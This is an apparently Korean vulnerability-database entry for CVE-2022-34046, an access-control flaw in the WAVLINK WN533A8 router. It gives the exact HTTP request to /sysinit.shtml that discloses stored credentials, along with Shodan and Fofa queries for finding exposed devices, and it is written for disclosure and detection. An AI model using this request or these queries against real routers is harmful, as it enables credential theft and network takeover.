🔙 목록으로 돌아가기

CVE-2022-34046: WAVLINK WN533A8 - Improper Access Control

TitleWAVLINK WN533A8 - Improper Access Control
AuthorFor3stCo1d
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the entire network.
RemediationApply the latest firmware update provided by the vendor to fix the access control issue.
CVSS Score7.5
EPSS Score0.57481
CVE IDCVE-2022-34046
CWE IDCWE-863
Shodan Queryhttp.title:"Wi-Fi APP Login"http.html:"wavlink"http.title:"wi-fi app login"
Fofa Querytitle="wi-fi app login"body="wavlink"
Tags cve cve2022 packetstorm wavlink router exposure vuln

🔍 Vulnerability Description

WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /sysinit.shtml?r=52300 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34046.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-34046.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A